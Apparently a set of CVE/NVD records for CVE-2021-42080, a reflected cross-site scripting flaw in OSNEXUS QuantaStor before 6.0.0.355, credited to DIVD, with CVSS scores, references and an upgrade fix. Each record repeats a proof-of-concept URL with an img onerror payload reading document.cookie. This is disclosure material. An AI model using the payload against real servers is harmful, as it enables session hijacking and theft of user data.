{"dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": {"cveId": "CVE-2021-42080", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "state": "PUBLISHED", "assignerShortName": "DIVD", "dateReserved": "2021-10-07T17:12:57.677Z", "datePublished": "2023-07-10T06:29:48.166Z", "dateUpdated": "2025-09-22T06:40:04.494Z"}, "containers": {"cna": {"affected": [{"defaultStatus": "unknown", "product": "QuantaStor", "vendor": "OSNEXUS", "versions": [{"lessThan": "6.0.0.355", "status": "affected", "version": "0", "versionType": "semver"}]}], "credits": [{"lang": "en", "type": "finder", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.<br><br>POC:<br><br>Visit the following URL<br><div><div><div><div><div><div><div><pre><div>https://&lt;IPADDRESS&gt;:8153/qstorapi/echo?inputMessage=&lt;img%20src=x%20onerror=alert(document.cookie)&gt;</div></pre></div></div></div></div></div></div></div>"}], "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>"}], "metrics": [{"cvssV3_1": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.4, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-79", "description": "CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:04.494Z"}, "references": [{"tags": ["third-party-advisory", "technical-description"], "url": "https://www.wbsec.nl/osnexus"}, {"tags": ["third-party-advisory"], "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"tags": ["product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"tags": ["third-party-advisory", "technical-description", "exploit"], "url": "https://csirt.divd.nl/CVE-2021-42080"}], "solutions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "source": {"discovery": "UNKNOWN"}, "title": "Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "x_generator": {"engine": "Vulnogram 0.1.0-dev"}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.845Z"}, "title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42080", "tags": ["third-party-advisory", "x_transferred"]}]}, {"metrics": [{"other": {"type": "ssvc", "content": {"timestamp": "2024-10-21T21:06:56.590163Z", "id": "CVE-2021-42080", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-10-21T21:10:56.435Z"}}]}}

{"dataType": "CVE_RECORD", "containers": {"adp": [{"title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42080", "tags": ["third-party-advisory", "x_transferred"]}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.845Z"}}, {"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2021-42080", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "partial"}], "version": "2.0.3", "timestamp": "2024-10-21T21:06:56.590163Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-10-21T21:08:22.203Z"}}], "cna": {"title": "Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "source": {"discovery": "UNKNOWN"}, "credits": [{"lang": "en", "type": "finder", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "metrics": [{"format": "CVSS", "cvssV3_1": {"scope": "CHANGED", "version": "3.1", "baseScore": 7.4, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "integrityImpact": "NONE", "userInteraction": "REQUIRED", "attackComplexity": "LOW", "availabilityImpact": "NONE", "privilegesRequired": "NONE", "confidentialityImpact": "HIGH"}, "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "affected": [{"vendor": "OSNEXUS", "product": "QuantaStor", "versions": [{"status": "affected", "version": "0", "lessThan": "6.0.0.355", "versionType": "semver"}], "defaultStatus": "unknown"}], "solutions": [{"lang": "en", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "supportingMedia": [{"type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "base64": false}]}], "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "technical-description"]}, {"url": "https://csirt.divd.nl/DIVD-2021-00020/", "tags": ["third-party-advisory"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product"]}, {"url": "https://csirt.divd.nl/CVE-2021-42080", "tags": ["third-party-advisory", "technical-description", "exploit"]}], "x_generator": {"engine": "Vulnogram 0.1.0-dev"}, "descriptions": [{"lang": "en", "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>", "supportingMedia": [{"type": "text/html", "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.<br><br>POC:<br><br>Visit the following URL<br><div><div><div><div><div><div><div><pre><div>https://&lt;IPADDRESS&gt;:8153/qstorapi/echo?inputMessage=&lt;img%20src=x%20onerror=alert(document.cookie)&gt;</div></pre></div></div></div></div></div></div></div>", "base64": false}]}], "problemTypes": [{"descriptions": [{"lang": "en", "type": "CWE", "cweId": "CWE-79", "description": "CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:04.494Z"}}}, "cveMetadata": {"cveId": "CVE-2021-42080", "state": "PUBLISHED", "dateUpdated": "2025-09-22T06:40:04.494Z", "dateReserved": "2021-10-07T17:12:57.677Z", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "datePublished": "2023-07-10T06:29:48.166Z", "assignerShortName": "DIVD"}, "dataVersion": "5.1"}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*", "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E", "versionEndExcluding": "6.0.0.355", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>"}], "id": "CVE-2021-42080", "lastModified": "2025-09-22T07:15:39.393", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.4, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 4.0, "source": "csirt@divd.nl", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.4, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 4.0, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-07-10T16:15:47.530", "references": [{"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42080"}, {"source": "csirt@divd.nl", "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"source": "csirt@divd.nl", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42080"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "url": "https://www.divd.nl/DIVD-2021-00020"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}], "sourceIdentifier": "csirt@divd.nl", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "csirt@divd.nl", "type": "Secondary"}, {"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}

{}

{}